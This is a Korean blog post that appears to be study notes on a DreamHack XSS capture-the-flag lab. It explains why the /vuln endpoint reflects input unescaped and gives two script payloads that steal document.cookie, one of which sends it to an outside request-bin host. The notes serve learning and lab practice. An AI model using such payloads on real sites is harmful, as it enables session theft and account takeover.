Information Security

[DreamHack] XSS 본문

INTERLUDE/Web Hacking

[DreamHack] XSS

sohexz 2022. 2. 13. 22:22

셀레늄 (Selenium) :  웹 애플리케이션 테스팅에 사용되는 파이썬 모듈

API를 통해 웹 드라이버 (크롬, 사파리 등)를 사용 가능

응답에 포함된 Javascript, CSS와 같은 웹 리소스를 웹 드라이버를 통해 해석하고 실행하기 때문에 웹 브라우저를 통해 페이지를 방문하는 것과 같은 역할

 

 

취약점 분석

vuln과 memo 엔드포인트는 이용자의 입력값을 페이지에 출력

memo는 render_template 함수를 사용해 memo.html을 출력

-> render_template 함수는 전달된 템플릿 변수를 기록할 때 HTML 엔티티코드로 변환해 저장하기 때문에 XSS가 발생하지 않음

 

But, vuln은 이용자가 입력한 값을 페이지에 그대로 출력하기 때문에 XSS가 발생

 

익스플로잇

문제를 해결하기 위해서는 /vuln 엔드포인트에서 발생하는 XSS 취약점을 통해 임의 이용자의 쿠키를 탈취해야 함

탈취한 쿠키를 전달받기 위해서는 외부에서 접근 가능한 웹 서버를 사용하거나 문제에서 제공하는 memo 엔드포인트를 사용

<공격에 사용할 수 있는 속성>

 

쿠키 탈취

1) memo 페이지 사용

flag 엔드포인트에서 <script>location.href = "/memo?memo=" + document.cookie;</script> 과 같은 익스플로잇 코드를 입력 시 memo 엔드포인트에서 임의 이용자의 쿠키 정보 확인 가능 

 

2) 웹 서버 사용

 해당 서비스에서 제공하는 Request Bin 기능은 이용자의 접속 기록을 저장하기 때문에 해당 정보를 확인할 수 있음

Request Bin 버튼을 클릭 시 랜덤한 URL이 생성되며, 해당 URL에 접속한 기록을 저장

 

flag 기능에서 <script>location.href = "http://RANDOMHOST.request.dreamhack.games/?memo=" + document.cookie;</script> 과 같은 익스플로잇 코드를 입력하면, 접속 기록에 포함된 FLAG를 확인할 수 있음

'INTERLUDE > Web Hacking' 카테고리의 다른 글

[DreamHack] xss-2  (0) 2022.02.13
[DreamHack] xss-1  (0) 2022.02.13
[DreamHack] ClientSide: XSS  (0) 2022.02.13
[DreamHack] Mitigation: Same Origin Policy  (0) 2022.01.30
[DreamHack] session-basic  (0) 2022.01.30